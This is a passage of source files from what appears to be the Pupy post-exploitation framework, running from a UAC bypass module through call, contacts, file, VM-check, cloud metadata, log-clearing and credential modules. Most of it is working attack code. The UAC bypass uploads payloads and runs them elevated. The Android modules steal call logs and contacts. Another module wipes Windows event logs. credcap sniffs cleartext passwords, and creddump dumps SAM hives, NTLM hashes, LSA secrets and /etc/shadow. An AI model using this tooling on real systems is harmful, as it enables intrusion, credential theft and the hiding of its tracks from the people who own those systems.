    # ------------------ Prepare the payload ------------------\n\n        rjoin = self.client.remote('os.path', 'join')\n        risfile = self.client.remote('os.path', 'isfile')\n        tempdir = self.client.remote('tempfile', 'gettempdir', False)\n\n        random_name = ''.join([\n            random.choice(\n                string.ascii_letters + string.digits\n            ) for n in xrange(6)\n        ])\n\n        local_file = ''\n        remote_file = ''\n        completion = None\n\n        if not args.exe and not args.restart:\n            self.info('Using powershell payload')\n\n            client_conf = None\n\n            if is_bind_launcher:\n                self.info('BIND launcher is on the target.')\n                self.info(\n                    'Be careful, you have to choose a port which '\n                    'is not used on the target!'\n                )\n\n                listening_port = -1\n                while listening_port == -1:\n                    try:\n                        listening_port = int(input(\n                            '[?] Give me the listening port '\n                            'to use on the target: '\n                        ))\n                    except Exception as e:\n                        self.warning(\n                            'You have to give me a valid port. '\n                            'Try again ({})'.format(e)\n                        )\n\n                listening_address = address_port.split(':')[0]\n                bind_address_and_port = '{0}:{1}'.format(\n                    listening_address, listening_port\n                )\n\n                self.info(\n                    \"Payload used for bypassing UAC will be \"\n                    \"configured for listening on {0} on the target\".format(\n                        bind_address_and_port))\n\n                bind_conf = self.client.get_conf()\n\n                # Modify the listening port on the conf. If it is not\n                # modified, the ps1 script will listen on the same port\n                # as the initial pupy launcher on the target\n\n                bind_conf['launcher_args'][bind_conf[\n                    'launcher_args'].index('--port') + 1] = str(listening_port)\n                client_conf = bind_conf\n            else:\n                self.info(\n                    'Reverse connection mode: Configuring client with'\n                    'the same configuration as the (parent) launcher on '\n                    'the target'\n                )\n\n                client_conf = self.client.get_conf()\n\n            cmd, completion = powerloader.serve(\n                self, client_conf\n            )\n\n        # use a custom exe to execute as admin\n        elif args.exe:\n            cmd_args = shlex.split(args.exe, posix=False)\n            arg0, argv = cmd_args[0], cmd_args[1:]\n            argv = ' '.join(\n                repr(x) if ' ' in x else x for x in argv\n            )\n\n            if risfile(arg0):\n                self.info('Using remote cmd ({})'.format(args.exe))\n                cmd = args.exe\n\n            elif os.path.exists(arg0):\n                self.info('Using custom executable (local)')\n                local_file = args.exe\n                remoteFileName = '{random_name}.{ext}'.format(\n                    random_name=random_name, ext='exe'\n                )\n                remote_file = rjoin(tempdir(), remoteFileName)\n                cmd = remote_file + ' ' + argv\n            else:\n                self.error('Executable file not found: {}'.format(arg0))\n                return\n\n        # restart the current executable as admin\n        else:\n            self.info('Using current executable')\n            exe = self.client.desc['exec_path'].split('\\\\')\n            if exe[len(exe)-1].lower() in ('powershell.exe', 'cmd.exe') and \\\n                    exe[1].lower() == 'windows':\n\n                self.warning(\n                    'It seems that your current process '\n                    'is %s' % self.client.desc['exec_path']\n                )\n                self.warning('It is not recommended to restart it')\n\n                return\n\n            cmd = self.client.desc['exec_path']\n\n        # upload payload (ps1 or custom exe)\n        if not args.restart and local_file:\n            self.info('Uploading to %s' % remote_file)\n            upload(\n                self.client.conn, local_file, remote_file,\n                chunk_size=1*1024*1024\n            )\n\n        # ------------------ Ready to launch the bypassuac ------------------\n\n        self.info('Bypass uac could take few seconds, be patient...')\n\n        bypass_uac = self.client.remote(\n            'winpwnage.core.scanner', 'function', False\n        )\n\n        result = bypass_uac(\n            uac=True, persist=False\n        ).run(id=method, payload=cmd)\n\n        if not result:\n            self.error('Nothing done, check if the id is on the list')\n        else:\n            self.parse_result(result, get_method_id=False)\n\n        if completion:\n            if not completion.is_set():\n                self.info('Waiting for a powerloader status updates')\n                completion.wait()\n        elif not args.exe and not args.restart:\n            # Powershell could be longer to execute\n            self.info(\n                'Waiting for a connection (take few seconds, 1 min max)...'\n            )\n\n        # TO DO (remove ps1 file)\n        # ros.remove(remote_file) # not work if removed too fast\n\n        # Remove generated ps1 file\n        if not args.exe and not args.restart and local_file:\n            os.remove(local_file)\n"
  },
  {
    "path": "pupy/modules/call.py",
    "content": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport datetime\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"call\"\n\n\n@config(cat=\"gather\", compat=[\"android\"])\nclass call(PupyModule):\n    \"\"\" to get call details \"\"\"\n\n    INCOMING_TYPE = \"1\"\n    OUTGOING_TYPE = \"2\"\n    MISSED_TYPE = \"3\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='call', description=cls.__doc__)\n        cls.arg_parser.add_argument('-a', '--get-all', action='store_true', help='get all call details')\n        cls.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help=\"Folder which will store targtet's postions (default: %(default)s)\")\n\n    def run(self, args):\n        self.client.load_package(\"pupydroid.utils\")\n        self.client.load_package(\"pupydroid.call\")\n        path = getLocalAndroidPath(self.client, args)\n        if args.get_all:\n            self.success(\"Getting call details...\")\n            callDetails = self.client.conn.modules['pupydroid.call'].getCallDetails()\n            self.success(\"{0} call details got. Saving...\".format(len(callDetails)))\n            completePath = os.path.join(path, 'callDetails.txt')\n            f = open(completePath, 'w', 1)\n            for aCall in callDetails:\n                date = datetime.datetime.fromtimestamp(int(aCall['callDate'][:-3])).strftime('%Y-%m-%d %H:%M:%S')\n                if aCall['callTypeC'] == self.OUTGOING_TYPE:\n                    callType = \"Outgoing\"\n                elif aCall['callTypeC'] == self.INCOMING_TYPE:\n                    callType = \"Incoming\"\n                elif aCall['callTypeC'] == self.MISSED_TYPE:\n                    callType = \"Missed\"\n                else:\n                    callType = \"unknown\"\n                f.write(\"{0}: {1} at {2} during {3} secds\\n\".format(callType, aCall['phNum'], date, aCall['callDuration']))\n            f.close()\n            self.success(\"Call details saved in {0}\".format(completePath))\n\ndef getLocalAndroidPath(client, args):\n    '''\n    Returns the current local path for saving data locally\n    Create folder if not exists\n    '''\n    localPath = os.path.join(args.localOutputFolder, \"{0}-{1}\".format(client.conn.modules['pupydroid.utils'].getAndroidID(), client.desc['user']))\n    if not os.path.exists(localPath):\n        # logging.info(\"Creating {0} folder locally\".format(localPath))\n        os.makedirs(localPath)\n    return localPath\n"
  },
  {
    "path": "pupy/modules/cat.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Pygment, Hex\nfrom pupy.pupylib.PupyCompleter import remote_path_completer\nfrom pygments.lexers import guess_lexer, guess_lexer_for_filename\nfrom pupy.network.lib.convcompat import is_binary, DEFAULT_MB_ENCODING\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'cat'\n\n\n@config(cat=\"admin\")\nclass cat(PupyModule):\n    \"\"\" show contents of a file \"\"\"\n    is_module = False\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='cat', description=cls.__doc__\n        )\n        cls.arg_parser.add_argument('-N', type=int, help='Tail lines')\n        cls.arg_parser.add_argument('-n', type=int, help='Head lines')\n\n        grep = cls.arg_parser.add_mutually_exclusive_group()\n        grep.add_argument('-G', help='Grep sequence')\n        grep.add_argument('-g', help='Grep out sequence')\n\n        cls.arg_parser.add_argument(\n            '-E', type=str, help='Set encoding of text file'\n        )\n        cls.arg_parser.add_argument(\n            '-C', '--color', action='store_true',\n            help='Enable coloring (pygments)'\n        )\n        cls.arg_parser.add_argument(\n            'path', type=str, completer=remote_path_completer\n        )\n\n    def print_content(self, args, content):\n        lexer = None\n\n        if is_binary(content):\n            content = Hex(content, args.color)\n\n        elif args.color:\n            if lexer is None and '*' not in args.path:\n                try:\n                    lexer = guess_lexer_for_filename(args.path, content)\n                except:\n                    pass\n\n            if lexer is None and not args.N:\n                try:\n                    lexer = guess_lexer(content)\n                except:\n                    pass\n\n            if lexer:\n                content = Pygment(lexer, content)\n\n        self.log(content)\n\n    def run(self, args):\n        try:\n            cat = self.client.remote('pupyutils.basic_cmds', 'cat', False)\n\n            grep = None\n            filter_out = False\n            if args.G:\n                grep = args.G\n            elif args.g:\n                grep = args.g\n                filter_out = True\n\n            results = cat(\n                args.path, args.N, args.n, grep, args.E, filter_out\n            )\n\n            if not results:\n                return\n\n            for result in results:\n                self.print_content(args, result)\n\n        except Exception as e:\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n"
  },
  {
    "path": "pupy/modules/cd.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_dirs_completer\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__=\"cd\"\n\n\n@config(cat=\"admin\")\nclass cd(PupyModule):\n    \"\"\" change directory \"\"\"\n    is_module=False\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"cd\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            'path', type=str, nargs='?',\n            help='path of a specific directory',\n            completer=remote_dirs_completer\n        )\n\n    def run(self, args):\n        try:\n            cd = self.client.remote('pupyutils.basic_cmds', 'cd', False)\n            r = cd(args.path)\n            if r:\n                self.log(r)\n        except Exception as e:\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n"
  },
  {
    "path": "pupy/modules/check_vm.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__ = 'CheckVM'\n\n\n@config(category=\"gather\", compatibilities=['windows', 'linux', 'darwin'])\nclass CheckVM(PupyModule):\n    \"\"\" check if running on Virtual Machine \"\"\"\n\n    dependencies = ['checkvm']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='CheckVM', description=cls.__doc__\n        )\n\n    def run(self, args):\n        if self.client.is_windows():\n            check_vm = self.client.remote('checkvm')\n            vms = check_vm.Check_VM().run()\n            if vms:\n                for vm in vms:\n                    self.success(vm)\n            else:\n                self.error('No Virtual Machine found')\n\n        elif self.client.is_linux():\n            checkvm = self.client.remote('checkvm', 'checkvm', False)\n            vm = checkvm()\n            if vm:\n                self.success('This appears to be a %s virtual machine' % vm)\n            else:\n                self.success('This does not appear to be a virtual machine')\n\n        elif self.client.is_darwin():\n            checkvm = self.client.remote('checkvm', 'checkvm', False)\n            self.info('Be patient, could take a while')\n            vm = checkvm()\n            if vm:\n                self.success('This appears to be a %s virtual machine' % vm)\n            else:\n                self.success('This does not appear to be a virtual machine')\n"
  },
  {
    "path": "pupy/modules/clear_logs.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nimport subprocess\nimport threading\n\n__class_name__=\"ClearLogs\"\n\n@config(cat=\"admin\", compat=[\"windows\"])\nclass ClearLogs(PupyModule):\n    \"\"\" clear event logs \"\"\"\n\n    dependencies = [\"pupyutils.safepopen\"]\n    pipe = None\n    terminate = threading.Event()\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"clear_logs\", description=cls.__doc__)\n\n    def run(self, args):\n        if self.client.desc['intgty_lvl'] != \"High\" and self.client.desc['intgty_lvl'] != \"System\":\n            self.error('You need admin privileges to clear logs')\n            return\n\n        cmdenv = {\n            'stderr': (subprocess.STDOUT),\n            'universal_newlines': False,\n            'shell': True\n        }\n\n        cmdargs = [\n            ['System', 'wevtutil cl System'],\n            ['Security', 'wevtutil cl Security'],\n            ['Application', 'wevtutil cl Application']\n        ]\n\n        for cmd in cmdargs:\n\n            self.pipe = self.client.conn.modules[\n                'pupyutils.safepopen'\n            ].SafePopen(cmd[1], **cmdenv)\n\n            close_event = threading.Event()\n\n            def on_read(data):\n                self.stdout.write(data)\n\n            def on_close():\n                close_event.set()\n\n            self.pipe.execute(on_close, on_read)\n            while not (self.terminate.is_set() or close_event.is_set()):\n                close_event.wait()\n\n            if self.pipe.returncode == 0:\n                self.success('Event log {} successfully deleted'.format(cmd[0]))\n            else:\n                self.error('Error removing {} event log: {}'.format(cmd[0], self.pipe.returncode))\n"
  },
  {
    "path": "pupy/modules/cloudinfo.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Pygment\n\nimport sys\n\nfrom pygments import lexers\nimport json\n\nif sys.version_info.major > 2:\n    unicode = str\n\n__class_name__=\"CloudInfo\"\n\n\n@config(cat=\"gather\")\nclass CloudInfo(PupyModule):\n    \"\"\" Retrieve EC2/DigitalOcean metadata \"\"\"\n\n    dependencies = ['cloudinfo']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"cloudinfo\", description=cls.__doc__)\n\n    def run(self, args):\n        cloudinfo = self.client.remote('cloudinfo', 'metadata')\n\n        cloud, metadata = cloudinfo()\n\n        if not cloud:\n            self.error('Unknown cloud or non-cloud environment')\n            return\n\n        self.success('Cloud: {}'.format(cloud))\n\n        formatted_json = json.dumps(metadata, indent=1, sort_keys=True)\n\n        self.log(\n            Pygment(lexers.JsonLexer(), unicode(formatted_json, 'UTF-8'))\n        )\n\n        if cloud == 'EC2' and 'meta-data' in metadata and 'iam' in metadata['meta-data']:\n            iam = metadata['meta-data']['iam']\n            if 'info' in iam and 'security-credentials' in iam and iam['info']['Code'] == 'Success':\n                arn = iam['info']['InstanceProfileArn'].split('/', 1)[-1]\n                self.success('IAM: {}'.format(arn))\n"
  },
  {
    "path": "pupy/modules/contacts.py",
    "content": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport copy\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.utils.common import getLocalAndroidPath\n\n__class_name__=\"contacts\"\n\n\n@config(cat=\"gather\", compat=[\"android\"])\nclass contacts(PupyModule):\n    \"\"\" to get contacts \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='contacts', description=cls.__doc__)\n        cls.arg_parser.add_argument('-a', '--get-all', action='store_true', help='get all contacts')\n        cls.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help=\"Folder which will store targtet's postions (default: %(default)s)\")\n\n    def run(self, args):\n        self.client.load_package(\"pupydroid.contacts\")\n        self.client.load_package(\"pupydroid.utils\")\n        path = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=self.client.conn.modules['pupydroid.utils'].getAndroidID(), userName=self.client.desc['user'])\n        if args.get_all:\n            self.success(\"Getting contacts...\")\n            contacts = self.client.conn.modules['pupydroid.contacts'].getAllContacts()\n            self.success(\"Contacts stolen successfully\")\n            self.__saveContacts__(contacts=contacts, completePath=os.path.join(path, 'contacts.txt'))\n\n    def __saveContacts__(self, contacts, completePath):\n        '''\n        '''\n        #I don't know why but I have very (very) better perfs on my computer when I does a copy of the list before to use it...\n        #Without the copy, it saves 1 contact by second only -:( Very very strange.\n        contacts2 = copy.copy(contacts)\n        contacts = contacts2\n        self.success(\"Saving contacts {0} contacts...\".format(len(contacts)))\n        f = open(completePath, 'w', 1)\n        for aContact in contacts:\n            self.info(\"Saving the contact: {0}\".format(aContact))\n            f.write(\"********** id: {0} **********\\n\".format(aContact['id']))\n            f.write(\"name: {0}\\n\".format(aContact['name']))\n            for aPhoneNb,aPhoneNbType in zip(aContact['phoneNbs'],aContact['phoneNbsTypes']):\n                f.write(\"phone ({0}): {1}\\n\".format(aPhoneNbType, aPhoneNb))\n            for anEmail in aContact['emails']:\n                f.write(\"email: {0}\\n\".format(anEmail))\n            for aPostalAddress in aContact['postalAddresses']:\n                f.write(\"postalAddr: {0}\\n\".format(aPostalAddress))\n        f.close()\n        self.success(\"Contacts saved in {0}\".format(completePath))\n"
  },
  {
    "path": "pupy/modules/cp.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer, remote_dirs_completer\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__=\"cp\"\n\n\n@config(cat=\"admin\")\nclass cp(PupyModule):\n    \"\"\" copy file or directory \"\"\"\n    is_module=False\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"cp\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            'src', type=str, action='store', completer=remote_path_completer,\n        )\n\n        cls.arg_parser.add_argument(\n            'dst', type=str, action='store',\n            completer=remote_dirs_completer\n        )\n\n    def run(self, args):\n        try:\n            cp = self.client.remote('pupyutils.basic_cmds', 'cp')\n            r = cp(args.src, args.dst)\n            if r:\n                self.log(r)\n\n        except Exception as e:\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n"
  },
  {
    "path": "pupy/modules/credcap.py",
    "content": "# -*- coding: utf-8 -*-\n# Thanks to Dan McInerney for its net-creds project\n# Github: https://github.com/DanMcInerney/net-creds\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    QA_DANGEROUS\n)\nimport os\nimport datetime\n\nfrom io import open\n\n__class_name__=\"Credcap\"\n\n@config(cat=\"gather\", compat=[\"linux\", \"windows\"])\nclass Credcap(PupyModule):\n    \"\"\"\n        Sniffs cleartext passwords from interface\n    \"\"\"\n    unique_instance = True\n    dependencies=['netifaces', 'gzip', 'BaseHTTPServer', 'pupyutils.netcreds']\n    qa = QA_DANGEROUS\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='credcap', description=cls.__doc__)\n        cls.arg_parser.add_argument(\"-i\", metavar=\"INTERFACE\", dest='interface', default=None, help=\"Choose an interface (optional)\")\n        cls.arg_parser.add_argument(\"-f\", metavar=\"IP\", dest='filterip', default=None, help=\"Do not sniff packets from this IP address; -f 192.168.0.4\")\n        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])\n\n    def run(self, args):\n        if args.action==\"start\":\n\n            # Load full scapy\n            self.client.load_package('scapy', honor_ignore=False, force=True)\n            credcap_start = self.client.remote('pupyutils.netcreds', 'credcap_start', False)\n\n            r = credcap_start(args.interface, args.filterip)\n            if r == 'not_root':\n                self.error(\"Needs root privileges to be started\")\n            elif not r:\n                self.error(\"Network credentials sniffer is already started\")\n            else:\n                self.success(\"Network credentials sniffer started !\")\n\n        elif args.action==\"dump\":\n            try:\n                os.makedirs(os.path.join(\"data\",\"credcap\"))\n            except Exception:\n                pass\n\n            credcap_dump = self.client.remote('pupyutils.netcreds', 'credcap_dump')\n            data = credcap_dump()\n\n            if data is None:\n                self.error(\"Network credentials sniffer has not been started yet\")\n\n            elif not data:\n                self.warning(\"No network credentials recorded\")\n\n            else:\n                data = '\\n'.join(data)\n                data += '\\n'\n\n                # remove color before writting into the file\n                W = '\\033[0m'  # white (normal)\n                T = '\\033[93m'  # tan\n                data_no_color=data.replace(W, '').replace(T, '')\n                filepath=os.path.join(\"data\", \"credcap\",\"creds_\"+self.client.short_name()+\"_\"+str(datetime.datetime.now()).replace(\" \",\"_\").replace(\":\",\"-\")+\".log\")\n                self.success(\"Dumping recorded credcap in %s\"%filepath)\n                with open(filepath, 'w') as f:\n                    f.write(data_no_color)\n\n                self.log(data)\n\n        elif args.action==\"stop\":\n            credcap_stop = self.client.remote('pupyutils.netcreds', 'credcap_start')\n            credcap_stop()\n            self.success(\"Network credentials sniffer is stopped\")\n"
  },
  {
    "path": "pupy/modules/creddump.py",
    "content": "# -*- coding: utf-8 -*-\n\n# Author: DeveloppSoft - developpsoft.github.io\n\n# Changelogs:\n# 26 May 2016\n#  init (not working, 'System' process block the download of the hives...\n#\n# 28 May 2016\n#  save the hives with 'reg save' before downloading\n\n# TODO\n# saves the hives with a random name\n# do not write the saves on the target\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.utils.credentials import Credentials\nfrom pupy.modules.lib.utils.shell_exec import shell_exec\n\nfrom pupy.network.lib.rpc.utils.classic import download\n\nimport os\nimport os.path\nimport ntpath\n\nfrom io import open\n\n# CredDump imports\nfrom pupy.modules.lib.windows.creddump.win32.domcachedump import dump_hashes\nfrom pupy.modules.lib.windows.creddump.addrspace import HiveFileAddressSpace\nfrom pupy.modules.lib.windows.creddump.win32.hashdump import get_bootkey, get_hbootkey\nfrom pupy.modules.lib.windows.creddump.win32.hashdump import get_user_hashes, get_user_keys, get_user_name\nfrom pupy.modules.lib.windows.creddump.win32.hashdump import empty_lm, empty_nt\nfrom pupy.modules.lib.windows.creddump.win32.lsasecrets import get_file_secrets\n\n__class_name__=\"CredDump\"\n\n\n@config(cat=\"creds\", compatibilities=['windows', 'linux', 'darwin'], tags=['creds',\n    'credentials', 'password', 'gather', 'hives'])\nclass CredDump(PupyModule):\n    \"\"\" download the hives from a remote windows system and dump creds \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='hive', description=cls.__doc__)\n\n    def run(self, args):\n        config = self.client.pupsrv.config\n        self.db = Credentials(client=self.client, config=self.config)\n        self.rep = os.path.join(config.get_folder('creds'), self.client.short_name())\n\n        try:\n            os.makedirs(self.rep)\n        except Exception:\n            pass\n\n        if self.client.is_windows():\n            self.windows()\n        elif self.client.is_linux():\n            self.linux()\n        elif self.client.is_darwin():\n            self.darwin()\n\n    def darwin(self):\n        self.client.load_package(\"hashdump\")\n        hashes = self.client.conn.modules[\"hashdump\"].hashdump()\n        if hashes:\n            self.db.add([{\n                'Hash':hsh[1],\n                'Login': hsh[0],\n                'Category': 'System hash',\n                'CredType': 'hash'\n            } for hsh in hashes])\n\n            for hsh in hashes:\n                self.log('{}'.format(hsh))\n\n            self.success(\"Hashes stored on the database\")\n        else:\n            self.error('no hashes found')\n\n    def linux(self):\n        known = set()\n        hashes = []\n\n        def add_hashes(line):\n            user, hsh, rest = line.split(':', 2)\n            if hsh not in ('!','*','x') and (user, hsh) not in known:\n                known.add((user, hsh))\n                hashes.append(line)\n\n        try:\n            passwd = os.path.join(self.rep, 'passwd')\n            download(\n                self.client.conn,\n                '/etc/passwd',\n                passwd\n            )\n\n            with open(passwd, 'r') as fpasswd:\n                for line in fpasswd.readlines():\n                    add_hashes(line)\n\n        except Exception as e:\n            self.error('/etc/passwd is not accessible: {}'.format(e))\n\n        try:\n            shadow = os.path.join(self.rep, 'shadow')\n            download(\n                self.client.conn,\n                '/etc/shadow',\n                shadow\n            )\n\n            with open(shadow, 'r') as fshadow:\n                for line in fshadow.readlines():\n                    add_hashes(line)\n\n        except Exception as e:\n            self.error('/etc/shadow is not accessible: {}'.format(e))\n\n        rsubprocess = self.client.conn.modules.subprocess\n\n        try:\n            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:\n                for line in rsubprocess.check_output('getent passwd', shell=True).split('\\n'):\n                    if not line:\n                        continue\n\n                    add_hashes(line)\n                    passwd.write(line+'\\n')\n\n        except Exception as e:\n            self.error('getent passwd failed: {}: {}'.format(type(e), str(e)))\n\n        try:\n            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:\n                for line in rsubprocess.check_output('getent shadow', shell=True).split('\\n'):\n                    if not line:\n                        continue\n\n                    add_hashes(line)\n                    shadow.write(line+'\\n')\n\n        except Exception as e:\n            self.error('getent shadow failed: {}: {}'.format(type(e), str(e)))\n\n        self.db.add([{\n            'Hash':':'.join(hsh.split(':')[1:]),\n            'Login': hsh.split(':')[0],\n            'Category': 'Shadow hash',\n            'CredType': 'hash'\n        } for hsh in hashes])\n\n        for hsh in hashes:\n            self.log('{}'.format(hsh))\n\n        self.success(\"Hashes stored on the database\")\n\n    def windows(self):\n        # First, we download the hives...\n\n        #detect windows version\n        is_vista=False\n        try:\n            if self.client.conn.modules['sys'].getwindowsversion()[0] >=6:\n                is_vista=True\n                self.info(\"windows > vista detected\")\n            else:\n                self.info(\"windows < vista detected\")\n        except:\n            self.warning(\"windows version couldn't be determined. supposing vista=False\")\n\n        self.success(\"saving SYSTEM hives in %TEMP%...\")\n        cmds = (\"reg save HKLM\\\\SYSTEM %TEMP%/SYSTEM\", \"reg save HKLM\\\\SECURITY %TEMP%/SECURITY\", \"reg save HKLM\\\\SAM %TEMP%/SAM\")\n        if is_vista:\n            cmds = (x+' /y' for x in cmds)\n\n        for cmd in cmds:\n            self.info(\"running %s...\" % cmd)\n            self.log(shell_exec(self.client, cmd))\n\n        self.success(\"hives saved!\")\n        remote_temp=self.client.conn.modules['os.path'].expandvars(\"%TEMP%\")\n\n        self.info(\"downloading SYSTEM hive...\")\n        download(self.client.conn, ntpath.join(remote_temp, \"SYSTEM\"), os.path.join(self.rep, \"SYSTEM\"))\n\n        self.info(\"downloading SECURITY hive...\")\n        download(self.client.conn, ntpath.join(remote_temp, \"SECURITY\"), os.path.join(self.rep, \"SECURITY\"))\n\n        self.info(\"downloading SAM hive...\")\n        download(self.client.conn, ntpath.join(remote_temp, \"SAM\"), os.path.join(self.rep, \"SAM\"))\n\n        self.success(\"hives downloaded to %s\" % self.rep)\n\n        # Cleanup\n        self.success(\"cleaning up saves...\")\n        try:\n            self.client.conn.modules.os.remove(ntpath.join(remote_temp, \"SYSTEM\"))\n            self.client.conn.modules.os.remove(ntpath.join(remote_temp, \"SECURITY\"))\n            self.client.conn.modules.os.remove(ntpath.join(remote_temp, \"SAM\"))\n            self.success(\"saves deleted\")\n        except Exception as e:\n            self.warning(\"error deleting temporary files: %s\"%str(e))\n\n        # Time to run creddump!\n        hashes = []\n\n        # HiveFileAddressSpace - Volatilty\n        sysaddr = HiveFileAddressSpace(os.path.join(self.rep, \"SYSTEM\"))\n        secaddr = HiveFileAddressSpace(os.path.join(self.rep, \"SECURITY\"))\n        samaddr = HiveFileAddressSpace(os.path.join(self.rep, \"SAM\"))\n\n        # Print the results\n        self.success(\"dumping cached domain passwords...\")\n\n        for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista):\n            self.log(\"%s:%s:%s:%s\" % (u.lower(), h.encode('hex'),\n                d.lower(), dn.lower()))\n            hashes.append({\n                'Login': u.lower(),\n                'Hash': \"%s:%s:%s\" % (h.encode('hex'), d.lower(), dn.lower()),\n                'Category': 'MSCACHE hash',\n                'CredType': 'hash'\n            })\n\n        self.success(\"dumping LM and NT hashes...\")\n        bootkey = get_bootkey(sysaddr)\n        hbootkey = get_hbootkey(samaddr,bootkey)\n        for user in get_user_keys(samaddr):\n            lmhash, nthash = get_user_hashes(user,hbootkey)\n            if not lmhash:\n                lmhash = empty_lm\n\n            if not nthash:\n                nthash = empty_nt\n\n            self.log(\"%s:%d:%s:%s:::\" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))\n            hashes.append({\n                'Login': get_user_name(user),\n                'Hash': \"%s:%s\" % (lmhash.encode('hex'), nthash.encode('hex')),\n                'Category': 'NTLM hash',\n                'CredType': 'hash'\n            })\n\n        self.db.add(hashes)\n        self.success(\"Hashes stored on the database\")\n\n        self.success(\"dumping lsa secrets...\")\n        secrets = get_file_secrets(os.path.join(self.rep, \"SYSTEM\"), os.path.join(self.rep, \"SECURITY\"), is_vista)\n        if not secrets:\n            self.error(\"unable to read LSA secrets, perhaps the hives are corrupted\")\n            return\n        for key in secrets:\n            self.log(key)\n            self.log(self.dump(secrets[key], length=16))\n\n        # The End! (hurrah)\n        self.success(\"dump was successfull!\")\n\n    def dump(self, src, length=8):\n        FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])\n        N=0\n        result=''\n        while src:\n            s,src = src[:length],src[length:]\n            hexa = ' '.join([\"%02X\"%ord(x) for x in s])\n            s = s.translate(FILTER)\n            result += \"%04X   %-*s   %s\\n\" % (N, length*3, hexa, s)\n            N+=length\n        return result\n"
  },
  {
    "path": "pupy/modules/date.py",
